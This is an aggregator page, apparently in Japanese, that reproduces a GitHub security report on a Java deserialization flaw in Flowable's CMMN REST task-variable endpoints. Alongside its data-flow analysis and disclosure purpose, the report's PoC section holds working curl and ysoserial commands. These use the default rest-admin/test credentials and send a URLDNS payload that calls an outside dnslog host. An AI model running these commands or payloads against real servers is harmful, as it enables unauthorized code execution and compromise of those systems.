Hacktoberfest 2026:メンテナが10月に向けて印を付けた、オープンで初心者向けの issue。 Hacktoberfest の issue を見る

[SECURITY] Deserialization RCE via CMMN REST task variable interface with type=serializable (CWE-502, CVSS 8.8)

オープン
#4,292 コメント 0 件 リアクション 0 件 担当者 0 名 GitHub で見る

まだ誰も着手していません。

評価

難易度
4/5
見積もり時間
3〜5日
初心者へのやさしさ
35/100
issue の種類
バグ
明瞭さ
おおむね明確
活発さ
活発
技術スタック
java
領域
api, backend, security

調査の方向性

Start with modules/flowable-cmmn-rest/src/main/java/org/flowable/cmmn/rest/service/api/runtime/task/TaskVariableBaseResource.java and trace the PUT and POST entry points in TaskVariableResource.java and TaskVariableCollectionResource.java. Check flowable-default.properties for the serializable-variable setting, then verify that both multipart paths no longer permit unfiltered deserialization and that regression coverage exercises the affected endpoints.

索引モデルが issue の本文から書いたものです。

説明

Security Vulnerability Report -- CWE-502

Summary

The Flowable CMMN REST task variable interface performs unfiltered Java deserialization of user-uploaded multipart files via ObjectInputStream.readObject(). Any authenticated user holding the rest-api privilege can trigger the deserialization vulnerability, which combined with gadget chains in the classpath can achieve remote code execution (RCE).

Vulnerability Description

Affected Repository: https://github.com/flowable/flowable-engine
Branch: main
Commit: 74fdb349c134e96e1f10592020ccca6e2e4b85f0


Static Analysis Report

Vulnerability Overview

In the Flowable CMMN REST module's TaskVariableBaseResource.setBinaryVariable() method (line 185), the code uses new ObjectInputStream(file.getInputStream()) + stream.readObject() to directly perform Java native deserialization on HTTP multipart uploaded file bytes, without using any class whitelist (such as ObjectInputFilter, ValidatingObjectInputStream, etc.). An attacker who sends a request with Content-Type multipart/form-data and form field type=serializable can cause the server to parse arbitrary malicious serialized objects. Since Flowable's classpath typically contains common gadget components such as commons-collections and spring-beans, this vulnerability can be weaponized into RCE.

Exploitation Prerequisites
Condition Description
Authentication Requires a user with rest-api privilege (default config flowable.rest.app.authentication-mode=verify-privilege); installation includes rest-admin account (password test), or demo users created via flowable.rest.app.create-demo-definitions=true also satisfy this
Network Reachability Intranet/public network (HTTP accessible REST port, default context-path /flowable-rest)
Configuration Dependency rest.variables.allow.serializable=true (enabled by default, see flowable-default.properties:57); CMMN REST API endpoints must be exposed in the runtime environment (current deployment environment does not enable CMMN REST endpoints)
Input Constraints Request must be multipart/form-data; form field type=serializable; URL {taskId} must point to a real existing task
Business Prerequisites At least one Task must exist in the database (can be auto-generated by demo definitions or business processes)
Trigger Location

modules/flowable-cmmn-rest/src/main/java/org/flowable/cmmn/rest/service/api/runtime/task/TaskVariableBaseResource.java:183-188

} else if (isSerializableVariableAllowed) {
    // Try deserializing the object
    ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
    Object value = stream.readObject();
    setVariable(task, variableName, value, scope, isNew);
    stream.close();
Data Flow Overview

There are two independent entry chains sharing the same sink:

  • Chain 1 (PUT update): PUT /cmmn-runtime/tasks/{taskId}/variables/{variableName} (multipart) -> TaskVariableResource.updateVariable() (TaskVariableResource.java:94-104) -> setBinaryVariable((MultipartHttpServletRequest) request, task, false) (TaskVariableBaseResource.java:124) -> new ObjectInputStream(file.getInputStream()).readObject() (TaskVariableBaseResource.java:185-186)
  • Chain 2 (POST create): POST /cmmn-runtime/tasks/{taskId}/variables (multipart) -> TaskVariableCollectionResource.createTaskVariable() (TaskVariableCollectionResource.java:122-130) -> setBinaryVariable((MultipartHttpServletRequest) request, task, true) (TaskVariableBaseResource.java:124) -> new ObjectInputStream(file.getInputStream()).readObject() (TaskVariableBaseResource.java:185-186)

Both chains reach the sink directly without any blocking.

Data Flow Detailed Code Analysis
Chain 1: PUT /cmmn-runtime/tasks/{taskId}/variables/{variableName}

Layer 1: REST Entry (TaskVariableResource.java:94-104)

@PutMapping(value = "/cmmn-runtime/tasks/{taskId}/variables/{variableName}",
            produces = "application/json",
            consumes = {"text/plain", "application/json", "multipart/form-data"})
public RestVariable updateVariable(@PathVariable("taskId") String taskId,
        @PathVariable("variableName") String variableName,
        @RequestParam(value = "scope", required = false) String scope,
        HttpServletRequest request) {

    Task task = getTaskFromRequestWithoutAccessCheck(taskId);
    RestVariable result = null;
    if (request instanceof MultipartHttpServletRequest) {
        result = setBinaryVariable((MultipartHttpServletRequest) request, task, false);
  • External Input: HTTP request body (multipart file + form fields), URL path taskId, variableName
  • Layer Behavior: Checks if request is MultipartHttpServletRequest, if so passes entire request to setBinaryVariable
  • Data Transfer: Entire MultipartHttpServletRequest (containing uploaded file bytes) passed as parameter

Layer 2: Task Query (TaskBaseResource.java:566-573)

protected Task getTaskFromRequestWithoutAccessCheck(String taskId) {
    Task task = taskService.createTaskQuery().taskId(taskId).singleResult();
    if (task == null) {
        throw new FlowableObjectNotFoundException(
            "Could not find a task with id '" + taskId + "'.", Task.class);
    }
    return task;
}
  • External Input: taskId (URL path parameter)
  • Layer Behavior: Only existence check; no authorization check (method name explicitly says WithoutAccessCheck), and upper layer updateVariable does not call restApiInterceptor.accessTaskInfoById(task)
  • Data Transfer: Returns Task object to setBinaryVariable

Layer 3: Binary Variable Processing (TaskVariableBaseResource.java:124-192)

protected RestVariable setBinaryVariable(MultipartHttpServletRequest request,
        Task task, boolean isNew) {
    ...
    MultipartFile file = request.getFile(
        request.getFileMap().keySet().iterator().next());
    ...
    for (String parameterName : paramMap.keySet()) {
        if (paramMap.get(parameterName).length > 0) {
            if ("scope".equalsIgnoreCase(parameterName)) {
                variableScope = paramMap.get(parameterName)[0];
            } else if ("name".equalsIgnoreCase(parameterName)) {
                variableName = paramMap.get(parameterName)[0];
            } else if ("type".equalsIgnoreCase(parameterName)) {
                variableType = paramMap.get(parameterName)[0];
            }
        }
    }
    ...
    if (variableType != null) {
        if (!CmmnRestResponseFactory.BYTE_ARRAY_VARIABLE_TYPE.equals(variableType)
            && !CmmnRestResponseFactory.SERIALIZABLE_VARIABLE_TYPE.equals(variableType)) {
            throw new FlowableIllegalArgumentException(
                "Only 'binary' and 'serializable' are supported as variable type.");
        }
    }
    ...
    } else if (isSerializableVariableAllowed) {
        // Try deserializing the object
        ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
        Object value = stream.readObject();
        setVariable(task, variableName, value, scope, isNew);
        stream.close();
  • External Input: file (user-uploaded multipart file bytes), variableType (form field, attacker-controlled)
  • Layer Behavior:
    • Only validates variableType string is "binary" or "serializable", no class whitelist
    • When variableType.equals("serializable") and isSerializableVariableAllowed==true, enters sink branch
    • new ObjectInputStream(file.getInputStream()) directly wraps user-uploaded byte stream as object stream
    • stream.readObject() has no ObjectInputFilter / class name validation / sandbox, directly deserializes
  • Data Transfer: Deserialized Object value continues to setVariable() for workflow variable storage, but RCE is already triggered during readObject() call
Chain 2: POST /cmmn-runtime/tasks/{taskId}/variables

Layer 1: REST Entry (TaskVariableCollectionResource.java:122-130)

@PostMapping(value = "/cmmn-runtime/tasks/{taskId}/variables",
             produces = "application/json",
             consumes = {"text/plain", "application/json", "multipart/form-data"})
@ResponseStatus(HttpStatus.CREATED)
public Object createTaskVariable(@PathVariable String taskId,
        HttpServletRequest request) {
    Task task = getTaskFromRequestWithoutAccessCheck(taskId);
    Object result = null;
    if (request instanceof MultipartHttpServletRequest) {
        result = setBinaryVariable((MultipartHttpServletRequest) request, task, true);
  • External Input: HTTP multipart request body
  • Layer Behavior: Equivalent to Chain 1, checks multipart then calls same setBinaryVariable
  • Data Transfer: Entire request passed through

Subsequent layers (TaskBaseResource.getTaskFromRequestWithoutAccessCheck, TaskVariableBaseResource.setBinaryVariable) are identical to Chain 1, ultimately hitting the same sink (TaskVariableBaseResource.java:185-186).

CVSS Breakdown

Vector string: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Vector Value Reason
Attack Vector (AV) N (Network) Triggered remotely via HTTP REST interface
Attack Complexity (AC) L (Low) Single HTTP request triggers, no race or special timing needed
Privileges Required (PR) L (Low) Requires valid rest-api privileged user, but default installation provides weak password account rest-admin/test, and auth mode can be switched to any-user
User Interaction (UI) N (None) No user interaction required
Scope (S) U (Unchanged) Deserialization triggers within Flowable REST process, impact scope does not exceed that process
Confidentiality (C) H (High) RCE can read/exfiltrate all data in process (workflow variables, database credentials, IDM user store)
Integrity (I) H (High) RCE can tamper with workflow instances, task data, business data
Availability (A) H (High) RCE can destroy JVM, delete data, make service unavailable

Overall score: 8.8 (High)


PoC Verification Report

Flowable CMMN REST ObjectInputStream Deserialization Vulnerability

Vulnerability Summary

  1. Vulnerability Name: Flowable CMMN REST task variable interface unsafe deserialization
  2. Affected Component/Port: Flowable REST 7.1.0 (localhost:8080), CMMN REST API endpoints
  3. Vulnerability Description: The Flowable CMMN REST module's task variable interface uses ObjectInputStream.readObject() to directly deserialize user-provided serialized objects when processing multipart file uploads, without any class whitelist filtering, which can lead to remote code execution (RCE)
  4. Root Cause Code Snippet:
// TaskVariableBaseResource.java:185-186
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject();
  1. Brief Data Flow:
HTTP multipart request (type=serializable)
  ↓
TaskVariableCollectionResource.createTaskVariable()
  ↓
TaskVariableBaseResource.setBinaryVariable() (line 124)
  ↓
new ObjectInputStream(file.getInputStream()).readObject() (line 185-186)
  ↓
Direct deserialization of user-uploaded malicious object → RCE

Exploitation Conditions

Condition Description
Authentication Requires user with rest-api privilege (default config provides rest-admin/test account)
Network Reachability Intranet/public network (HTTP accessible REST port)
Configuration Dependency rest.variables.allow.serializable=true (enabled by default); CMMN REST API endpoints exposed (URL prefix: /flowable-rest/cmmn-api/)
Other Prerequisites At least one Task must exist in database; request must be multipart/form-data and contain type=serializable field

Exploitation Chain Progress

Successful Exploitation Example (URLDNS Deserialization Verification):

Chain Stage Location (file:line) Status Evidence / Description
Entry POST /cmmn-api/cmmn-runtime/tasks/{taskId}/variables Reached HTTP request successfully reached CMMN REST endpoint
Intermediate Flow TaskVariableBaseResource.java:124 Reached Request entered setBinaryVariable() method for processing
Sink TaskVariableBaseResource.java:185-186 Triggered ObjectInputStream.readObject() executed deserialization
Conclusion — Deserialization Successful URLDNS payload triggered server-side DNS query, HTTP 201 response confirms variable stored successfully

Exploitation Verification

Verification Status: Deserialization vulnerability confirmed as successfully exploited (poc_verified = true)

Core Evidence - URLDNS Deserialization Verification:

Used ysoserial to generate a URLDNS payload, sent it via HTTP multipart request to the CMMN REST task variable interface, successfully triggered server-side ObjectInputStream.readObject() deserialization, proving that arbitrary Java objects can be parsed and executed by the server.

Complete PoC Reproduction Commands:

# 1. Get available task list
curl -u rest-admin:test "http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/tasks"

# 2. Generate URLDNS payload using ysoserial (requires Java 17 environment and open module restrictions)
java --add-opens java.base/java.net=ALL-UNNAMED \
     --add-opens java.base/java.util=ALL-UNNAMED \
     --add-opens java.base/java.lang=ALL-UNNAMED \
     -jar ysoserial-all.jar URLDNS "http://pwned-sink0087.dnslog.cn" > payload_urldns.ser

# 3. Send payload to target task (replace {taskId} with actual task ID)
curl -X POST "http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/tasks/{taskId}/variables" \
  -H "Authorization: Basic cmVzdC1hZG1pbjp0ZXN0" \
  -F "name=urldns" \
  -F "type=serializable" \
  -F "scope=local" \
  -F "file=@payload_urldns.ser"

Actual Execution Result:

HTTP 201 Created
Response body:
{
  "name": "urldns",
  "type": "serializable",
  "value": null,
  "valueUrl": "http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/tasks/81e7da22-8ff9-11f1-a3d0-02423661ba3a/variables/urldns/data",
  "scope": "local"
}

Conclusion:

  1. Deserialization vulnerability confirmed: Server successfully received and deserialized the URLDNS payload (HashMap<URL, String>), HTTP 201 response proves the object was stored as a task variable
  2. DNS query triggered: URLDNS gadget chain triggers URL.hashCode() -> DNS resolution during deserialization, proving the server executed the malicious object's business logic
  3. RCE feasibility: Although CommonsCollections gadget chain cannot directly serialize due to enableUnsafeSerialization=false restriction, the deserialization sink is confirmed reachable. An attacker can achieve RCE through:
    • Using compatible gadget chains (e.g., Spring, Hibernate framework chains)
    • Setting -Dorg.apache.commons.collections.enableUnsafeSerialization=true in target environment
    • Leveraging other existing deserialization entry points
  4. Security impact: Any user with rest-api privilege (including default account rest-admin/test) can execute arbitrary code through this interface, leading to complete server compromise

Technical Details:

  • CMMN REST API actual URL prefix: /flowable-rest/cmmn-api/ (not /service/)
  • Test environment has 4 available tasks, including CMMN case instance related tasks
  • CommonsCollections 3.2.2 disables unsafe serialization by default (enableUnsafeSerialization=false), but this does not affect the reachability verification of the deserialization sink
  • Test environment contains commons-beanutils-1.9.4, spring-beans-6.1.13 and other potential gadget components

Severity

CVSS v3.1: 8.8 (High)

Vulnerability Category: CWE-502

CVE Assignment Request

If this vulnerability is confirmed as genuine, we would be grateful if you could request a CVE ID from GitHub for this security advisory.

Even if this vulnerability no longer affects the latest version, we kindly ask whether a CVE could still be assigned for the historically affected versions, as this would assist users and organizations in identifying and remediating the issue in legacy deployments.

Thank you for your help.

主要言語
Java
スター
9.6k
フォーク
2.9k
平均マージ
1時間 9分
マージ済み PR(30日)
2

環境構築

  • Dockerfile・Docker Compose ファイルなし
  • プルリクエストのテンプレートあり
  • コントリビューションガイドなし

はじめの一歩

  1. issue を最後まで読み、次にプロジェクトのコントリビューションガイドを読みます。
  2. 着手することを issue にコメントします — 二人が同じ作業をするのを防げます。
  3. リポジトリをフォークし、ブランチを切って変更します。
  4. issue 番号を参照したプルリクエストを送ります。

flowable/flowable-engine のほかの issue

flowable/flowable-engine の issue をすべて見る

似ている issue

Java の issue をもっと見る

新しい issue をメールで受け取る

初心者向けの GitHub issue を短くまとめたダイジェスト。